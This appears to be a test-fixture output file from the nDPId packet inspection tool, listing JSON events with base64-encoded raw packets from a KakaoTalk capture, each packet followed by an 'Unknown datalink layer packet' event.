+00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":695685,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/GqiAbE78izqyWguGVRndcT4t1wHhV1FtcCFe6e7naNRBV7nFtQgJGQWzTDLuy\/BpSUKYkYfyGG\/c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":373,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":695929,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/MhiAbE77izqumguGVRmCYAPTwOS8cP+ejH69TD9+GOhAk5CYGhMSaKmtDg8\/guAQORDiKz4rzVXg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":374,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":710547,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Y96AbE8AizrBWguGVRnPv49Z2+nQqOz2pPCGuPVDQn+dVcbu0nAbTpktWp9Y\/sY7xa79knikbGjP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":375,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":710700,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/GlOAbE8BizrFGguGVRktReV\/1wrujCQDxy30B114kp8B8ffXW5Z1P1FIa7zFKUb7jboURZgMSLDA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":376,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":722418,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBdfc6AbDGHfqomw1Sapdo9UtyLplrVYani1tE\/ZSb\/YKpz5NAsBzV\/s\/X5h9MHxvTlDmiSKjdAHOgZnof+pIjwd1pdzhvBiXXyFmOGMByipSu21fm07Raj"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":377,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":728003,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABj39CAbDGCfqoUA1SapdozCNaX0nlF8xBEzCnzl68HGP0KYQ\/bP6gahTzNid3hFq0vDy6e6GlOsD7SIpfI6VVbjLznhWOWGOj0Yq7ki66sF\/0GcloevMQKWMSgMVAT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":378,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":779853,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABe8NKAbDGDfqoXw1SapdoRMjsHK3oho3Ok1nv76o5QV4Efl+2Ra3OOW\/\/F3nhgWMFxnKDBVU1WabU2wSsgkorDxvE4pfIFrs5m5eEKBV0RDl5CqtYWaCIEIg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":379,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":781104,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Cv6AbE79izq2GguGVRlA90+kz1jstC5q117L2j02z+Arg6weNLWFb1K9X8ztbf5GUCQkrXUD52d0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":380,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":803565,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAQBHaQQoYUrwByQGuKBxaBgBN0WaAbDGIfqoqg1SapdpQazfoauhC6LLb4HkXjqNBeAg6JPQ4H\/HPavprIVBIEnLn3UeJlP1HRJoVqTsXsQh4XRFyP1xRdEA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":381,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":809516,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/kqaAbE8CizrI2guGVRlFcYcQinxK8hOQ31feeZurRQXTEHm2q40PWAex8Ke+scujF25k4YVgBRAd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":382,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":809699,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqFxKByAAMC4ZVGRvN6Z48FBPXUmifLFQsGuSjeOUcO85HTHtDHvXvyqkZp\/ZQTHwoc4rLMwW\/Mpy9OSUDQLloAM1pJAcB+M52Dd+1\/1jxID1F3PS\/ZYuAAAADsb6NtDdP2V5EjA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":383,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":809912,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/fqiAbE8DizrMmguGVRkHME4+YqZgY1fTlNWPu5YnOPAoJDLegqoTxx6l+uN45QSMHe+2OwSr2SJ0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":384,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":879218,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBI3bCAbDGJfqouQ1SapdomTtN7CKdtbirPLDxtDG6CGEET2ZnidG38jUgAQY3688ACTVvNqpha3+GLrBkRR8UYDTAf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":385,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":911841,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/C8qAbE8EizrQWguGVRkqg4i105ISUZWTMiYrF046UpNoTI\/7fUyys\/AMSZLfSdNhDjCLsLmS9bb3"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":386,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":917365,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/hhuAbDGKfqoyA1SapdqLiAv89SNQWK+gf4WEL+3iz67AuCxJSmq5kjVUHOxI0SaCp2+\/ES7UUP1T"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":387,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":949164,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/neGAbE7+izq52guGVRn99aRVwscBjMzW0M\/4jQnrZoRSRy0UxBcz5DLVi7tTBzIId8YdtYmSWbhp"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":388,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":984992,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/HNaAbDGLfqo1w1SapdpJATmyvRqWxD7q2p1VzJOQh+tuWglsWgpLpADK\/WXEHpmsAKS+DQvFWAei"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":389,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":995764,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABiQ+eAbDGEfqobg1Sapdqk6NPjlHL2j9iiWBR39MhtyKFaw9gwD2B88X+kwsAEP07rI4UArAc1B92EMQURo1p7tr5w4N8u77m5T3NfuepJ8YU+PepmCND5eVDukV8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":390,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":7971,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/tHiAbE8FizrUGguGVRneh1746pHZNV8yMRdDhqOL94rdLcFpSPS6xESHJSLo+C8seth7L+B3jTvd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":391,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":9131,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/EbuAbE8GizrX2guGVRmQfIltHfYNFez06FRY4Jp\/KoJP3CfxLjCHi5XcwD5Pny98UJ10u1AeEK4T"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":392,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":27655,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/8ziAbE7\/izq9mguGVRkahgILk2aBgZqSjSqmGxBCHs4tPsNv5pCyNEc6YCTqJMODzIgvY6ydgYJ6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":393,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":35468,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZ5RuAbDGFfqofQ1SapdoDhrYWq64TR5RzotekUd8OwOorgWpTa4PRR2d3kNzYYyJ9OgQhnt71ZA9Si\/jolzoIyo794hvONsSHoYrBnDn3TYv\/o7c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":394,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":37726,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqZYeByAAMVJql2pfLuFsajzgI1GDl8NkFRGhOyQ6thpJYAOTYJlo9hdZVicoZQsCxkiH\/3fDmYyH9D6n5lvUWFQSCeoKxyM8tWJPmna38RJwk7wBqD5OAAAADKGmQ4Gj9SLx1sQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":395,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":37848,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/sY6AbDGMfqo5g1SapdqxSpuZHplY8D9\/GeSYqCpQD1GT5MbhFt+vf\/QWUlS2AMPWi2yovWSU9Jao"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":396,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":51306,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABX3wCAbDGGfqojA1SapdpdAPM\/oZyckr8Odv6\/xcyB+APlPiRQrr+FgP8UIxwaRA7\/QQk2thirXztHwgtd39o+OpvnjLbx5vwL2JCgssnK8Bxv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":397,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":78772,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/1suAbDGNfqo9Q1SapdpF5CLzc4rqZO8By50+FSszc1fr6Pa5tPWMJdlhQVlPNmm\/DRSNvVlJ80mh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":398,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":79566,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Hm2AbE8BizrFGguGVRktReV\/1wrujCQDxy30B114kp8B8ffXW5Z1P1FIa7zFKUb7jboURZgMSLDA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":399,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":79627,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Z\/iAbE8AizrBWguGVRnPv49Z2+nQqOz2pPCGuPVDQn+dVcbu0nAbTpktWp9Y\/sY7xa79knikbGjP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":400,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":83502,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABdebSAbDGHfqomw1Sapdo9UtyLplrVYani1tE\/ZSb\/YKpz5NAsBzV\/s\/X5h9MHxvTlDmiSKjdAHOgZnof+pIjwd1pdzhvBiXXyFmOGMByipSu21fm07Raj"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":401,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":96381,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHRH9GQHJAa4KGFK8WgQsOABNzUyAbDGIfqoqg1SapdpQazfoauhC6LLb4HkXjqNBeAg6JPQ4H\/HPavprIVBIEnLn3UeJlP1HRJoVqTsXsQh4XRFyP1xRdEA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":402,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":108100,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/AmCAbE8HizrbmguGVRnMX1TtiBieOxwt17mNb40hTKCxHSwYgbT7q7wmOXg+qV+3Nw\/GITCwU29t"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":403,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":108771,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/b4uAbE8IizrfWguGVRmWKc+NvAIWQkMtsDGCkXUu7lpIt0U2PFtL6Ymr7SCRWEkbO+U2iMKe3r6C"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":404,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":108832,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/lsCAbE8CizrI2guGVRlFcYcQinxK8hOQ31feeZurRQXTEHm2q40PWAex8Ke+scujF25k4YVgBRAd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":405,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":115454,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGhH\/\/AHJAa4KGFK8WgcoHQBqGyyByAAMC4ZVGRvN6Z48FBPXUmifLFQsGuSjeOUcO85HTHtDHvXvyqkZp\/ZQTHwoc4rLMwW\/Mpy9OSUDQLloAM1pJAcB+M52Dd+1\/1jxID1F3PS\/ZYuAAAADsb6NtDdP2V5EjA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":406,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":130713,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABI2ZaAbDGJfqouQ1SapdomTtN7CKdtbirPLDxtDG6CGEET2ZnidG38jUgAQY3688ACTVvNqpha3+GLrBkRR8UYDTAf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":407,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":132941,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/gsKAbE8DizrMmguGVRkHME4+YqZgY1fTlNWPu5YnOPAoJDLegqoTxx6l+uN45QSMHe+2OwSr2SJ0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":408,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 